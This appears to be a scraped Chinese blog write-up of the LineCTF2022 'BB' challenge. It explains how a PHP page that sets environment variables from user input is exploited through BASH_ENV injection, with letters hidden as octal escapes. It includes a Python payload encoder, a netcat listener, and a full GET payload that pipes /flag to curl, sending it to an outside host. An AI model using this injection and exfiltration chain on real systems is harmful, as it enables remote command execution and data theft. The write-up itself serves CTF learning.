当前位置:网站首页>[LineCTF2022]BB
[LineCTF2022]BB
2022-06-22 09:53:00 【Sk1y】
[LineCTF2022]BB
文章目录
进去之后就是源码
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){
//$s中如果存在$ptn,则返回false
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
//过滤= 过滤大小写字母
putenv("{
$k}={
$v}"); //定义环境变量
}
}
system("bash -c 'imdude'"); //这里执行了imdude,所以我们要对环境变量imdude进行操作
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
//过滤=
putenv("{
$k}");
}
}
highlight_file(__FILE__);
?>
绕过preg_match,在Linux中
$'\101' = A
第一个是八进制
ord 字符转对应的ascii
oct 十进制转八进制

然后通过[2:]从第三个字符开始截取字符串

>>> oct(ord("c"))[2:]
'143'
>>> oct(ord("a"))[2:]
'141'
>>> oct(ord("t"))[2:]
'164'

所以可以根据这个生成脚本,但是要注意空格的影响,
将空格也进行修改的话,命令执行有问题

如果不对空格进行操作,那么截断处,就要重新用$''进行闭合

所以直接将所有的字符进行单个处理

环境变量注入,参考P神的文章:我是如何利用环境变量注入执行任意命令 - 跳跳糖 (tttang.com)
import string
# cmd = "cat /flag"
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001"
str = ''
for i in cmd:
if i in string.ascii_lowercase:
j = oct(ord(i))[2:]
str += "$'\\"+j+"'"
else:
str+=i
print(str)
监听端口
nc -lvp 7001
GET传参
?env[BASH_ENV]=`$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001`

0x为16进制数字的表示
\x为16进制的字符串表示
\ 为八进制的表示
50是2的ascii码对应值
0x32是十六进制表示,转为十进制就是50
\x32表示50对应的字符串,也就是"2"

比如

边栏推荐
猜你喜欢

Win+sublime Text3 + go 1.9.2 environment setup diagram

信息系统项目典型生命周期模型

Basic knowledge of AI Internet of things | community essay solicitation

Lexical Sign Sequence

Introduction to right raising method and principle (interview)

Solend废止「接管巨鲸」提案 清算「炸弹」未除

Ctfshow Web Learning Records

Qt编写物联网管理平台36-通信协议

Debian10配置RSyslog+LoganAlyzer日志服务器

Quickly master asp Net authentication framework identity - login and logout
随机推荐
DHCP中继代理
From in MySQL_ Unixtime and UNIX_ Timestamp processing database timestamp conversion - Case
SQL编程task02作业-基础查询与排序
Summary and Prospect of AI security technology | community essay solicitation
IPO配置指南
[cmake命令笔记]target_compile_options
Double machine hot standby of firewall on ENSP
Debian10 创建用户、用户组、切换用户
Centos7安装PostgreSQL12
Solend废止「接管巨鲸」提案 清算「炸弹」未除
[hdu] P1466 计算直线的交点数
抖音实战~个人中心
logstash中Ruby代码把@timestamp时间戳格式转换
day500:键盘行
Redis 切片集群的数据倾斜分析
CISP教材更新:2019年八大知识域新知识体系介绍
6-42 sparse matrix transpose
day260:只出现一次的数字 III
FileZilla server prompts 550 could not open file for reading when downloading files (illustration)
Mapping Multi - export Server on ENSP